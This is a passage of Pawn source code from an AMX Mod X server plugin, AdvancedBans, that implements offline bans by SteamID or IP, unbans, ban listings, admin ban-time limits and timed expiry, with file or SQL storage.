	if( !cmd_access(client, level, cid, 5) ) return PLUGIN_HANDLED;
	
	static target_name[32], target_authid[35], bantime[10], reason[128];
	read_argv(1, target_name, sizeof(target_name) - 1);
	read_argv(2, target_authid, sizeof(target_authid) - 1);
	read_argv(3, bantime, sizeof(bantime) - 1);
	read_argv(4, reason, sizeof(reason) - 1);
	
	new bool:is_ip = bool:(containi(target_authid, ".") != -1);
	
	if( !is_ip && !IsValidAuthid(target_authid) )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_INVALID_STEAMID");
		console_print(client, "[AdvancedBans] %L", client, "AB_VALID_STEAMID_FORMAT");
		
		return PLUGIN_HANDLED;
	}
	else if( is_ip )
	{
		new pos = contain(target_authid, ":");
		if( pos > 0 )
		{
			target_authid[pos] = 0;
		}
		
		if( !IsValidIP(target_authid) )
		{
			console_print(client, "[AdvancedBans] %L", client, "AB_INVALID_IP");
			
			return PLUGIN_HANDLED;
		}
	}
	
	#if MAX_BANS <= 0
	if( TrieKeyExists(g_trie, target_authid) )
	{
		console_print(client, "[AdvancedBans] %L", client, is_ip ? "AB_ALREADY_BANNED_IP" : "AB_ALREADY_BANNED_STEAMID");
		return PLUGIN_HANDLED;
	}
	#else
	for( new i = 0; i < g_total_bans; i++ )
	{
		if( !strcmp(target_authid, g_steamids[i], 1) )
		{
			console_print(client, "[AdvancedBans] %L", client, is_ip ? "AB_ALREADY_BANNED_IP" : "AB_ALREADY_BANNED_STEAMID");
			return PLUGIN_HANDLED;
		}
	}
	#endif
	
	new length = str_to_num(bantime);
	new maxlength = GetMaxBanTime(client);
	
	if( maxlength && (!length || length > maxlength) )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_MAX_BAN_TIME", maxlength);
		return PLUGIN_HANDLED;
	}
	
	if( is_user_connected(find_player(is_ip ? "d" : "c", target_authid)) )
	{
		client_cmd(client, "amx_ban ^"%s^" %i ^"%s^"", target_authid, length, reason);
		return PLUGIN_HANDLED;
	}
	
	static unban_time[32];
	if( length == 0 )
	{
		formatex(unban_time, sizeof(unban_time) - 1, "%L", client, "AB_PERMANENT_BAN");
	}
	else
	{
		GenerateUnbanTime(length, unban_time, sizeof(unban_time) - 1);
	}
	
	static admin_name[64], admin_authid[35];
	get_user_name(client, admin_name, sizeof(admin_name) - 1);
	get_user_authid(client, admin_authid, sizeof(admin_authid) - 1);
	
	AddBan(target_name, target_authid, reason, length, unban_time, admin_name, admin_authid);
	
	PrintBanInformation(client, target_name, target_authid, reason, length, unban_time, "", "", false, false);
	
	GetBanTime(length, unban_time, sizeof(unban_time) - 1);
	
	PrintActivity(admin_name, "^x04[AdvancedBans] $name^x01 :^x03  banned %s %s. Reason: %s. Ban Length: %s", is_ip ? "IP" : "SteamID", target_authid, reason, unban_time);
	
	Log("%s <%s> banned %s <%s> || Reason: ^"%s^" || Ban Length: %s", admin_name, admin_authid, target_name, target_authid, reason, unban_time);
	
	return PLUGIN_HANDLED;
}

public CmdUnban(client, level, cid)
{
	if( !cmd_access(client, level, cid, 2) ) return PLUGIN_HANDLED;
	
	static arg[35];
	read_argv(1, arg, sizeof(arg) - 1);
	
	#if MAX_BANS > 0
	static banned_authid[35];
	for( new i = 0; i < g_total_bans; i++ )
	{
		copy(banned_authid, sizeof(banned_authid) - 1, g_steamids[i]);
		
		if( equal(arg, banned_authid) )
		{
			static admin_name[64];
			get_user_name(client, admin_name, sizeof(admin_name) - 1);
			
			static name[32], reason[128];
			copy(name, sizeof(name) - 1, g_names[i]);
			copy(reason, sizeof(reason) - 1, g_reasons[i]);
			
			PrintActivity(admin_name, "^x04[AdvancedBans] $name^x01 :^x03  unbanned %s^x01 [%s] [Ban Reason: %s]", name, arg, reason);
			
			static authid[35];
			get_user_authid(client, authid, sizeof(authid) - 1);
			
			Log("%s <%s> unbanned %s <%s> || Ban Reason: ^"%s^"", admin_name, authid, name, arg, reason);
			
			RemoveBan(i);
			
			return PLUGIN_HANDLED;
		}
	}
	#else
	if( TrieKeyExists(g_trie, arg) )
	{
		static array_pos;
		TrieGetCell(g_trie, arg, array_pos);
		
		static data[BannedData];
		ArrayGetArray(g_array, array_pos, data);
		
		static unban_name[32];
		get_user_name(client, unban_name, sizeof(unban_name) - 1);
		
		PrintActivity(unban_name, "^x04[AdvancedBans] $name^x01 :^x03  unbanned %s^x01 [%s] [Ban Reason: %s]", data[bd_name], data[bd_steamid], data[bd_reason]);
		
		static admin_name[64];
		get_user_name(client, admin_name, sizeof(admin_name) - 1);
		
		static authid[35];
		get_user_authid(client, authid, sizeof(authid) - 1);
		
		Log("%s <%s> unbanned %s <%s> || Ban Reason: ^"%s^"", admin_name, authid, data[bd_name], data[bd_steamid], data[bd_reason]);
		
		RemoveBan(array_pos, data[bd_steamid]);
		
		return PLUGIN_HANDLED;
	}
	#endif
	
	console_print(client, "[AdvancedBans] %L", client, "AB_NOT_IN_BAN_LIST", arg);
	
	return PLUGIN_HANDLED;
}

public CmdBanList(client, level, cid)
{
	if( !cmd_access(client, level, cid, 1) ) return PLUGIN_HANDLED;
	
	if( !g_total_bans )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_NO_BANS");
		return PLUGIN_HANDLED;
	}
	
	static start;
	
	if( read_argc() > 1 )
	{
		static arg[5];
		read_argv(1, arg, sizeof(arg) - 1);
		
		start = min(str_to_num(arg), g_total_bans) - 1;
	}
	else
	{
		start = 0;
	}
	
	new last = min(start + 10, g_total_bans);
	
	if( client == 0 )
	{
		server_cmd("echo ^"%L^"", client, "AB_BAN_LIST_NUM", start + 1, last);
	}
	else
	{
		client_cmd(client, "echo ^"%L^"", client, "AB_BAN_LIST_NUM", start + 1, last);
	}
	
	for( new i = start; i < last; i++ )
	{
		#if MAX_BANS <= 0
		static data[BannedData];
		ArrayGetArray(g_array, i, data);
		
		PrintBanInformation(client, data[bd_name], data[bd_steamid], data[bd_reason], data[bd_banlength], data[bd_unbantime], data[bd_admin_name], data[bd_admin_steamid], true, false);
		#else
		static name[32], steamid[35], reason[128], banlength, unbantime[32], admin_name[32], admin_steamid[35];
		
		copy(name, sizeof(name) - 1, g_names[i]);
		copy(steamid, sizeof(steamid) - 1, g_steamids[i]);
		copy(reason, sizeof(reason) - 1, g_reasons[i]);
		banlength = g_banlengths[i];
		copy(unbantime, sizeof(unbantime) - 1, g_unbantimes[i]);
		copy(admin_name, sizeof(admin_name) - 1, g_admin_names[i]);
		copy(admin_steamid, sizeof(admin_steamid) - 1, g_admin_steamids[i]);
		
		PrintBanInformation(client, name, steamid, reason, banlength, unbantime, admin_name, admin_steamid, true, false);
		#endif
	}
	
	if( ++last < g_total_bans )
	{
		if( client == 0 )
		{
			server_cmd("echo ^"%L^"", client, "AB_BAN_LIST_NEXT", last);
		}
		else
		{
			client_cmd(client, "echo ^"%L^"", client, "AB_BAN_LIST_NEXT", last);
		}
	}
	
	return PLUGIN_HANDLED;
}

public CmdAddBanLimit()
{
	if( read_argc() != 3 )
	{
		log_amx("amx_addbanlimit was used with incorrect parameters!");
		log_amx("Usage: amx_addbanlimit <flags> <time in minutes>");
		return PLUGIN_HANDLED;
	}
	
	static arg[16];
	
	read_argv(1, arg, sizeof(arg) - 1);
	new flags = read_flags(arg);
	
	read_argv(2, arg, sizeof(arg) - 1);
	new minutes = str_to_num(arg);
	
	#if !defined MAX_BANLIMITS
	ArrayPushCell(g_maxban_flags, flags);
	ArrayPushCell(g_maxban_times, minutes);
	#else
	if( g_total_maxban_times >= MAX_BANLIMITS )
	{
		static notified;
		if( !notified )
		{
			log_amx("The amx_addbanlimit has reached its maximum!");
			notified = 1;
		}
		return PLUGIN_HANDLED;
	}
	
	g_maxban_flags[g_total_maxban_times] = flags;
	g_maxban_times[g_total_maxban_times] = minutes;
	#endif
	g_total_maxban_times++;
	
	return PLUGIN_HANDLED;
}

public FwdThink(entity)
{
	if( entity != g_unban_entity ) return;
	
	#if defined USING_SQL
	if( g_total_bans > 0 && !g_loading_bans )
	#else
	if( g_total_bans > 0 )
	#endif
	{
		static _hours[5], _minutes[5], _seconds[5], _month[5], _day[5], _year[7];
		format_time(_hours, sizeof(_hours) - 1, "%H");
		format_time(_minutes, sizeof(_minutes) - 1, "%M");
		format_time(_seconds, sizeof(_seconds) - 1, "%S");
		format_time(_month, sizeof(_month) - 1, "%m");
		format_time(_day, sizeof(_day) - 1, "%d");
		format_time(_year, sizeof(_year) - 1, "%Y");
		
		// c = current
		// u = unban
		
		new c_hours = str_to_num(_hours);
		new c_minutes = str_to_num(_minutes);
		new c_seconds = str_to_num(_seconds);
		new c_month = str_to_num(_month);
		new c_day = str_to_num(_day);
		new c_year = str_to_num(_year);
		
		static unban_time[32];
		static u_hours, u_minutes, u_seconds, u_month, u_day, u_year;
		
		for( new i = 0; i < g_total_bans; i++ )
		{
			#if MAX_BANS <= 0
			static data[BannedData];
			ArrayGetArray(g_array, i, data);
			
			if( data[bd_banlength] == 0 ) continue;
			#else
			if( g_banlengths[i] == 0 ) continue;
			#endif
			
			#if MAX_BANS <= 0
			copy(unban_time, sizeof(unban_time) - 1, data[bd_unbantime]);
			#else
			copy(unban_time, sizeof(unban_time) - 1, g_unbantimes[i]);
			#endif
			replace_all(unban_time, sizeof(unban_time) - 1, ":", " ");
			replace_all(unban_time, sizeof(unban_time) - 1, "/", " ");
			
			parse(unban_time,\
				_hours, sizeof(_hours) - 1,\
				_minutes, sizeof(_minutes) - 1,\
				_seconds, sizeof(_seconds) - 1,\
				_month, sizeof(_month) - 1,\
				_day, sizeof(_day) - 1,\
				_year, sizeof(_year) - 1
				);
			
			u_hours = str_to_num(_hours);
			u_minutes = str_to_num(_minutes);
			u_seconds = str_to_num(_seconds);
			u_month = str_to_num(_month);
			u_day = str_to_num(_day);
			u_year = str_to_num(_year);
			
			if( u_year < c_year
			|| u_year == c_year && u_month < c_month
			|| u_year == c_year && u_month == c_month && u_day < c_day
			|| u_year == c_year && u_month == c_month && u_day == c_day && u_hours < c_hours
			|| u_year == c_year && u_month == c_month && u_day == c_day && u_hours == c_hours && u_minutes < c_minutes
			|| u_year == c_year && u_month == c_month && u_day == c_day && u_hours == c_hours && u_minutes == c_minutes && u_seconds <= c_seconds )
			{
				#if MAX_BANS <= 0
				Log("Ban time is up for: %s [%s]", data[bd_name], data[bd_steamid]);
				
				Print("^x04[AdvancedBans]^x03 %s^x01[^x04%s^x01]^x03 ban time is up!^x01 [Ban Reason: %s]", data[bd_name], data[bd_steamid], data[bd_reason]);
				
				RemoveBan(i, data[bd_steamid]);
				#else
				Log("Ban time is up for: %s [%s]", g_names[i], g_steamids[i]);
				
				Print("^x04[AdvancedBans]^x03 %s^x01[^x04%s^x01]^x03 ban time is up!^x01 [Ban Reason: %s]", g_names[i], g_steamids[i], g_reasons[i]);
				
				RemoveBan(i);
				#endif
				
				i--; // current pos was replaced with another ban, so we need to check it again.
			}
		}
	}
	
	entity_set_float(g_unban_entity, EV_FL_nextthink, get_gametime() + get_pcvar_float(ab_unbancheck));
}

public TaskDisconnectPlayer(client)
{
	server_cmd("kick #%i ^"You are banned from this server. Check your console^"", get_user_userid(client));
}

AddBan(const target_name[], const target_steamid[], const reason[], const length, const unban_time[], const admin_name[], const admin_steamid[])
{
	#if MAX_BANS > 0
	if( g_total_bans == MAX_BANS )
	{
		log_amx("Ban list is full! (%i)", g_total_bans);
		return;
	}
	#endif
	
	#if defined USING_SQL
	static target_name2[32], reason2[128], admin_name2[32];
	MakeStringSQLSafe(target_name, target_name2, sizeof(target_name2) - 1);
	MakeStringSQLSafe(reason, reason2, sizeof(reason2) - 1);
	MakeStringSQLSafe(admin_name, admin_name2, sizeof(admin_name2) - 1);
	
	static query[512];
	formatex(query, sizeof(query) - 1,\
		"INSERT INTO `%s` (`%s`, `%s`, `%s`, `%s`, `%s`, `%s`, `%s`) VALUES ('%s', '%s', '%i', '%s', '%s', '%s', '%s');",\
		TABLE_NAME, KEY_NAME, KEY_STEAMID, KEY_BANLENGTH, KEY_UNBANTIME, KEY_REASON, KEY_ADMIN_NAME, KEY_ADMIN_STEAMID,\
		target_name2, target_steamid, length, unban_time, reason2, admin_name2, admin_steamid
		);
	
	SQL_ThreadQuery(g_sql_tuple, "QueryAddBan", query);
	#else
	new f = fopen(g_ban_file, "a+");
	
	fprintf(f, "^"%s^" ^"%s^" %i ^"%s^" ^"%s^" ^"%s^" ^"%s^"^n",\
		target_steamid,\
		target_name,\
		length,\
		unban_time,\
		reason,\
		admin_name,\
		admin_steamid
		);
	
	fclose(f);
	#endif
	
	#if MAX_BANS <= 0
	static data[BannedData];
	copy(data[bd_name], sizeof(data[bd_name]) - 1, target_name);
	copy(data[bd_steamid], sizeof(data[bd_steamid]) - 1, target_steamid);
	data[bd_banlength] = length;
	copy(data[bd_unbantime], sizeof(data[bd_unbantime]) - 1, unban_time);
	copy(data[bd_reason], sizeof(data[bd_reason]) - 1, reason);
	copy(data[bd_admin_name], sizeof(data[bd_admin_name]) - 1, admin_name);
	copy(data[bd_admin_steamid], sizeof(data[bd_admin_steamid]) - 1, admin_steamid);
	
	TrieSetCell(g_trie, target_steamid, g_total_bans);
	ArrayPushArray(g_array, data);
	#else
	copy(g_names[g_total_bans], sizeof(g_names[]) - 1, target_name);
	copy(g_steamids[g_total_bans], sizeof(g_steamids[]) - 1, target_steamid);
	g_banlengths[g_total_bans] = length;
	copy(g_unbantimes[g_total_bans], sizeof(g_unbantimes[]) - 1, unban_time);
	copy(g_reasons[g_total_bans], sizeof(g_reasons[]) - 1, reason);
	copy(g_admin_names[g_total_bans], sizeof(g_admin_names[]) - 1, admin_name);
	copy(g_admin_steamids[g_total_bans], sizeof(g_admin_steamids[]) - 1, admin_steamid);
	#endif
	
	g_total_bans++;
	
	#if MAX_BANS > 0
	if( g_total_bans == MAX_BANS )
	{
		log_amx("Ban list is full! (%i)", g_total_bans);
	}
	#endif
}

#if defined USING_SQL
public QueryAddBan(failstate, Handle:query, error[], errcode, data[], datasize, Float:queuetime)
{
	if( failstate == TQUERY_CONNECT_FAILED )
	{
		set_fail_state("Could not connect to database.");
	}
	else if( failstate == TQUERY_QUERY_FAILED )
	{
		set_fail_state("Query failed.");
	}
	else if( errcode )
	{
		log_amx("Error on query: %s", error);
	}
	else
	{
		// Yay, ban was added! We can all rejoice!
	}
}

public QueryDeleteBan(failstate, Handle:query, error[], errcode, data[], datasize, Float:queuetime)
{
	if( failstate == TQUERY_CONNECT_FAILED )
	{
		set_fail_state("Could not connect to database.");
	}
	else if( failstate == TQUERY_QUERY_FAILED )
	{
		set_fail_state("Query failed.");
	}
	else if( errcode )
	{
		log_amx("Error on query: %s", error);
	}
	else
	{
		// Yay, ban was deleted! We can all rejoice!
	}
}

public QueryLoadBans(failstate, Handle:query, error[], errcode, data[], datasize, Float:queuetime)
{
	if( failstate == TQUERY_CONNECT_FAILED )
	{
		set_fail_state("Could not connect to database.");
	}
	else if( failstate == TQUERY_QUERY_FAILED )
	{
		set_fail_state("Query failed.");
	}
	else if( errcode )
	{
		log_amx("Error on query: %s", error);
	}
	else
	{
		if( SQL_NumResults(query) )
		{
			#if MAX_BANS <= 0
			static data[BannedData];
			while( SQL_MoreResults(query) )
			#else
			while( SQL_MoreResults(query) && g_total_bans < MAX_BANS )
			#endif
			{
				#if MAX_BANS <= 0
				SQL_ReadResult(query, 0, data[bd_name], sizeof(data[bd_name]) - 1);
				SQL_ReadResult(query, 1, data[bd_steamid], sizeof(data[bd_steamid]) - 1);
				data[bd_banlength] = SQL_ReadResult(query, 2);
				SQL_ReadResult(query, 3, data[bd_unbantime], sizeof(data[bd_unbantime]) - 1);
				SQL_ReadResult(query, 4, data[bd_reason], sizeof(data[bd_reason]) - 1);
				SQL_ReadResult(query, 5, data[bd_admin_name], sizeof(data[bd_admin_name]) - 1);
				SQL_ReadResult(query, 6, data[bd_admin_steamid], sizeof(data[bd_admin_steamid]) - 1);
				
				ArrayPushArray(g_array, data);
				TrieSetCell(g_trie, data[bd_steamid], g_total_bans);
				#else
				SQL_ReadResult(query, 0, g_names[g_total_bans], sizeof(g_names[]) - 1);
				SQL_ReadResult(query, 1, g_steamids[g_total_bans], sizeof(g_steamids[]) - 1);
				g_banlengths[g_total_bans] = SQL_ReadResult(query, 2);
				SQL_ReadResult(query, 3, g_unbantimes[g_total_bans], sizeof(g_unbantimes[]) - 1);
				SQL_ReadResult(query, 4, g_reasons[g_total_bans], sizeof(g_reasons[]) - 1);
				SQL_ReadResult(query, 5, g_admin_names[g_total_bans], sizeof(g_admin_names[]) - 1);
				SQL_ReadResult(query, 6, g_admin_steamids[g_total_bans], sizeof(g_admin_steamids[]) - 1);
				#endif
				
				g_total_bans++;
				
				SQL_NextRow(query);
			}
		}
		
		set_task(RELOAD_BANS_INTERVAL, "LoadBans");
		
		g_loading_bans = false;
	}
}
#endif

#if MAX_BANS > 0
RemoveBan(remove)
{
	#if defined USING_SQL
	static query[128];
	formatex(query, sizeof(query) - 1,\
		"DELETE FROM `%s` WHERE `%s` = '%s';",\
		TABLE_NAME, KEY_STEAMID, g_steamids[remove]
		);
	
	SQL_ThreadQuery(g_sql_tuple, "QueryDeleteBan", query);
	#endif
	
	for( new i = remove; i < g_total_bans; i++ )
	{
		if( (i + 1) == g_total_bans )
		{
			copy(g_names[i], sizeof(g_names[]) - 1, "");
			copy(g_steamids[i], sizeof(g_steamids[]) - 1, "");
			g_banlengths[i] = 0;
			copy(g_unbantimes[i], sizeof(g_unbantimes[]) - 1, "");
			copy(g_reasons[i], sizeof(g_reasons[]) - 1, "");
			copy(g_admin_names[i], sizeof(g_admin_names[]) - 1, "");
			copy(g_admin_steamids[i], sizeof(g_admin_steamids[]) - 1, "");
		}
		else
		{
			copy(g_names[i], sizeof(g_names[]) - 1, g_names[i + 1]);
			copy(g_steamids[i], sizeof(g_steamids[]) - 1, g_steamids[i + 1]);
			g_banlengths[i] = g_banlengths[i + 1];
			copy(g_unbantimes[i], sizeof(g_unbantimes[]) - 1, g_unbantimes[i + 1]);
			copy(g_reasons[i], sizeof(g_reasons[]) - 1, g_reasons[i + 1]);
			copy(g_admin_names[i], sizeof(g_admin_names[]) - 1, g_admin_names[i + 1]);
			copy(g_admin_steamids[i], sizeof(g_admin_steamids[]) - 1, g_admin_steamids[i + 1]);
		}
	}
	
	g_total_bans--;
	
	#if !defined USING_SQL
	new f = fopen(g_ban_file, "wt");
	
	static name[32], steamid[35], banlength, unbantime[32], reason[128], admin_name[32], admin_steamid[35];
	for( new i = 0; i < g_total_bans; i++ )
	{
		copy(name, sizeof(name) - 1, g_names[i]);
		copy(steamid, sizeof(steamid) - 1, g_steamids[i]);
		banlength = g_banlengths[i];
		copy(unbantime, sizeof(unbantime) - 1, g_unbantimes[i]);
		copy(reason, sizeof(reason) - 1, g_reasons[i]);
		copy(admin_name, sizeof(admin_name) - 1, g_admin_names[i]);
		copy(admin_steamid, sizeof(admin_steamid) - 1, g_admin_steamids[i]);
		
		fprintf(f, "^"%s^" ^"%s^" %i ^"%s^" ^"%s^" ^"%s^" ^"%s^"^n",\
			steamid,\
			name,\
			banlength,\
			unbantime,\
			reason,\
			admin_name,\
			admin_steamid
			);
	}
	
	fclose(f);
	#endif
}
#else
RemoveBan(pos, const authid[])
{
	TrieDeleteKey(g_trie, authid);
	ArrayDeleteItem(g_array, pos);
	
	g_total_bans--;
	
	#if defined USING_SQL
	static query[128];
	formatex(query, sizeof(query) - 1,\
		"DELETE FROM `%s` WHERE `%s` = '%s';",\
		TABLE_NAME, KEY_STEAMID, authid
		);
	
	SQL_ThreadQuery(g_sql_tuple, "QueryDeleteBan", query);
	
	new data[BannedData];
	for( new i = 0; i < g_total_bans; i++ )
	{
		ArrayGetArray(g_array, i, data);
		TrieSetCell(g_trie, data[bd_steamid], i);
	}
	#else
	new f = fopen(g_ban_file, "wt");
	
	new data[BannedData];
	for( new i = 0; i < g_total_bans; i++ )
	{
		ArrayGetArray(g_array, i, data);
		TrieSetCell(g_trie, data[bd_steamid], i);
		
		fprintf(f, "^"%s^" ^"%s^" %i ^"%s^" ^"%s^" ^"%s^" ^"%s^"^n",\
			data[bd_steamid],\
			data[bd_name],\
			data[bd_banlength],\
			data[bd_unbantime],\
			data[bd_reason],\
			data[bd_admin_name],\
			data[bd_admin_steamid]
			);
	}
	
	fclose(f);
	#endif
}
#endif

#if defined KEEP_DEFAULT_BANS
LoadOldBans(filename[])
{
	if( file_exists(filename) )
	{
		new f = fopen(filename, "rt");
		
		static data[96];
		static command[10], minutes[10], steamid[35], length, unban_time[32];
		
		while( !feof(f) )
		{
			fgets(f, data, sizeof(data) - 1);
			if( !data[0] ) continue;
			
			parse(data, command, sizeof(command) - 1, minutes, sizeof(minutes) - 1, steamid, sizeof(steamid) - 1);
			if( filename[0] == 'b' && !equali(command, "banid") || filename[0] == 'l' && !equali(command, "addip") ) continue;
			
			length = str_to_num(minutes);
			GenerateUnbanTime(length, unban_time, sizeof(unban_time) - 1);
			
			AddBan("", steamid, "", length, unban_time, "", "");
		}
		
		fclose(f);
		
		static filename2[32];
		
		// copy current
		copy(filename2, sizeof(filename2) - 1, filename);
		
		// cut off at the "."
		// banned.cfg = banned
		// listip.cfg = listip
		filename2[containi(filename2, ".")] = 0;
		
		// add 2.cfg
		// banned = banned2.cfg
		// listip = listip2.cfg
		add(filename2, sizeof(filename2) - 1, "2.cfg");
		
		// rename file so that it isnt loaded again
		while( !rename_file(filename, filename2, 1) ) { }
	}
}
#endif

public LoadBans()
{
	if( g_total_bans )
	{
		#if MAX_BANS <= 0
		TrieClear(g_trie);
		ArrayClear(g_array);
		#endif
		
		g_total_bans = 0;
	}
	
	#if defined USING_SQL
	static query[128];
	formatex(query, sizeof(query) - 1,\
		"SELECT * FROM `%s`;",\
		TABLE_NAME
		);
	
	SQL_ThreadQuery(g_sql_tuple, "QueryLoadBans", query);
	
	g_loading_bans = true;
	#else
	if( file_exists(g_ban_file) )
	{
		new f = fopen(g_ban_file, "rt");
		
		static filedata[512], length[10];
		
		#if MAX_BANS <= 0
		static data[BannedData];
		while( !feof(f) )
		#else
		while( !feof(f) && g_total_bans < MAX_BANS )
		#endif
		{
			fgets(f, filedata, sizeof(filedata) - 1);
			
			if( !filedata[0] ) continue;
			
			#if MAX_BANS <= 0
			parse(filedata,\
				data[bd_steamid], sizeof(data[bd_steamid]) - 1,\
				data[bd_name], sizeof(data[bd_name]) - 1,\
				length, sizeof(length) - 1,\
				data[bd_unbantime], sizeof(data[bd_unbantime]) - 1,\
				data[bd_reason], sizeof(data[bd_reason]) - 1,\
				data[bd_admin_name], sizeof(data[bd_admin_name]) - 1,\
				data[bd_admin_steamid], sizeof(data[bd_admin_steamid]) - 1
				);
			
			data[bd_banlength] = str_to_num(length);
			
			ArrayPushArray(g_array, data);
			TrieSetCell(g_trie, data[bd_steamid], g_total_bans);
			#else
			static steamid[35], name[32], unbantime[32], reason[128], admin_name[32], admin_steamid[35];
			
			parse(filedata,\
				steamid, sizeof(steamid) - 1,\
				name, sizeof(name) - 1,\
				length, sizeof(length) - 1,\
				unbantime, sizeof(unbantime) - 1,\
				reason, sizeof(reason) - 1,\
				admin_name, sizeof(admin_name) - 1,\
				admin_steamid, sizeof(admin_steamid) - 1
				);
			
			copy(g_names[g_total_bans], sizeof(g_names[]) - 1, name);
			copy(g_steamids[g_total_bans], sizeof(g_steamids[]) - 1, steamid);
			g_banlengths[g_total_bans] = str_to_num(length);
			copy(g_unbantimes[g_total_bans], sizeof(g_unbantimes[]) - 1, unbantime);
			copy(g_reasons[g_total_bans], sizeof(g_reasons[]) - 1, reason);
			copy(g_admin_names[g_total_bans], sizeof(g_admin_names[]) - 1, admin_name);
			copy(g_admin_steamids[g_total_bans], sizeof(g_admin_steamids[]) - 1, admin_steamid);
			#endif
			
			g_total_bans++;
		}
		
		fclose(f);
	}
	#endif
	
	// load these after, so when they are added to the file with AddBan(), they aren't loaded again from above.
	
	#if defined KEEP_DEFAULT_BANS
	LoadOldBans("banned.cfg");
	LoadOldBans("listip.cfg");
	#endif
}

#if defined USING_SQL
MakeStringSQLSafe(const input[], output[], len)
{
	copy(output, len, input);
	replace_all(output, len, "'", "*");
	replace_all(output, len, "^"", "*");
	replace_all(output, len, "`", "*");
}
#endif

GetBanTime(const bantime, length[], len)
{
	new minutes = bantime;
	new hours = 0;
	new days = 0;
	
	while( minutes >= 60 )
	{
		minutes -= 60;
		hours++;
	}
	
	while( hours >= 24 )
	{
		hours -= 24;
		days++;
	}
	
	new bool:add_before;
	if( minutes )
	{
		formatex(length, len, "%i minute%s", minutes, minutes == 1 ? "" : "s");
		
		add_before = true;
	}
	if( hours )
	{
		if( add_before )
		{
			format(length, len, "%i hour%s, %s", hours, hours == 1 ? "" : "s", length);
		}
		else
		{
			formatex(length, len, "%i hour%s", hours, hours == 1 ? "" : "s");
			
			add_before = true;
		}
	}
	if( days )
	{
		if( add_before )
		{
			format(length, len, "%i day%s, %s", days, days == 1 ? "" : "s", length);
		}
		else
		{
			formatex(length, len, "%i day%s", days, days == 1 ? "" : "s");
			
			add_before = true;
		}
	}
	if( !add_before )
	{
		// minutes, hours, and days = 0
		// assume permanent ban
		copy(length, len, "Permanent Ban");
	}
}

GenerateUnbanTime(const bantime, unban_time[], len)
{
	static _hours[5], _minutes[5], _seconds[5], _month[5], _day[5], _year[7];
	format_time(_hours, sizeof(_hours) - 1, "%H");
	format_time(_minutes, sizeof(_minutes) - 1, "%M");
	format_time(_seconds, sizeof(_seconds) - 1, "%S");
	format_time(_month, sizeof(_month) - 1, "%m");
	format_time(_day, sizeof(_day) - 1, "%d");
	format_time(_year, sizeof(_year) - 1, "%Y");
	
	new hours = str_to_num(_hours);
	new minutes = str_to_num(_minutes);
	new seconds = str_to_num(_seconds);
	new month = str_to_num(_month);
	new day = str_to_num(_day);
	new year = str_to_num(_year);
	
	minutes += bantime;
	
	while( minutes >= 60 )
	{
		minutes -= 60;
		hours++;
	}
	
	while( hours >= 24 )
	{
		hours -= 24;
		day++;
	}
	
	new max_days = GetDaysInMonth(month, year);
	while( day > max_days )
	{
		day -= max_days;
		month++;
	}
	
	while( month > 12 )
	{
		month -= 12;
		year++;
	}
	
	formatex(unban_time, len, "%i:%02i:%02i %i/%i/%i", hours, minutes, seconds, month, day, year);
}

GetDaysInMonth(month, year=0)
{
	switch( month )
	{
		case 1:		return 31; // january
		case 2:		return ((year % 4) == 0) ? 29 : 28; // february
		case 3:		return 31; // march
		case 4:		return 30; // april
		case 5:		return 31; // may
		case 6:		return 30; // june
		case 7:		return 31; // july
		case 8:		return 31; // august
		case 9:		return 30; // september
		case 10:	return 31; // october
		case 11:	return 30; // november
		case 12:	return 31; // december
	}
	
	return 30;
}

GetTargetFlags(client)
{
	static const flags_no_immunity = (CMDTARGET_ALLOW_SELF|CMDTARGET_NO_BOTS);
	static const flags_immunity = (CMDTARGET_ALLOW_SELF|CMDTARGET_NO_BOTS|CMDTARGET_OBEY_IMMUNITY);
	
	switch( get_pcvar_num(ab_immunity) )
	{
		case 1: return flags_immunity;
		case 2: return access(client, ADMIN_IMMUNITY) ? flags_no_immunity : flags_immunity;
	}
	
	return flags_no_immunity;
}

GetMaxBanTime(client)
{
	if( !g_total_maxban_times ) return 0;
	
	new flags = get_user_flags(client);
	
	for( new i = 0; i < g_total_maxban_times; i++ )
	{
		#if !defined MAX_BANLIMITS
		if( flags & ArrayGetCell(g_maxban_flags, i) )
		{
			return ArrayGetCell(g_maxban_times, i);
		}
		#else
		if( flags & g_maxban_flags[i] )
		{
			return g_maxban_times[i];
		}
		#endif
	}
	
	return 0;
}

PrintBanInformation(client, const target_name[], const target_authid[], const reason[], const length, const unban_time[], const admin_name[], const admin_authid[], bool:show_admin, bool:show_website)
{
	static website[64], ban_length[64];
	if( client == 0 )
	{
		server_print("************************************************");
		server_print("%L", client, "AB_BAN_INFORMATION");
		server_print("%L: %s", client, "AB_NAME", target_name);
		server_print("%L: %s", client, IsValidAuthid(target_authid) ? "AB_STEAMID" : "AB_IP", target_authid);
		server_print("%L: %s", client, "AB_REASON", reason);
		if( length > 0 )
		{
			GetBanTime(length, ban_length, sizeof(ban_length) - 1);
			server_print("%L: %s", client, "AB_BAN_LENGTH", ban_length);
		}
		server_print("%L: %s", client, "AB_UNBAN_TIME", unban_time);
		if( show_admin )
		{
			server_print("%L: %s", client, "AB_ADMIN_NAME", admin_name);
			server_print("%L: %s", client, "AB_ADMIN_STEAMID", admin_authid);
		}
		if( show_website )
		{
			get_pcvar_string(ab_website, website, sizeof(website) - 1);
			if( website[0] )
			{
				server_print("");
				server_print("%L", client, "AB_WEBSITE");
				server_print("%s", website);
			}
		}
		server_print("************************************************");
	}
	else
	{
		client_cmd(client, "echo ^"************************************************^"");
		client_cmd(client, "echo ^"%L^"", client, "AB_BAN_INFORMATION");
		client_cmd(client, "echo ^"%L: %s^"", client, "AB_NAME", target_name);
		client_cmd(client, "echo ^"%L: %s^"", client, IsValidAuthid(target_authid) ? "AB_STEAMID" : "AB_IP", target_authid);
		client_cmd(client, "echo ^"%L: %s^"", client, "AB_REASON", reason);
		if( length > 0 )
		{
			GetBanTime(length, ban_length, sizeof(ban_length) - 1);
			client_cmd(client, "echo ^"%L: %s^"", client, "AB_BAN_LENGTH", ban_length);
		}
		client_cmd(client, "echo ^"%L: %s^"", client, "AB_UNBAN_TIME", unban_time);
		if( show_admin )
		{
			client_cmd(client, "echo ^"%L: %s^"", client, "AB_ADMIN_NAME", admin_name);
			client_cmd(client, "echo ^"%L: %s^"", client, "AB_ADMIN_STEAMID", admin_authid);
		}
		if( show_website )
		{
			get_pcvar_string(ab_website, website, sizeof(website) - 1);
			if( website[0] )
			{
				client_cmd(client, "echo ^"^"");
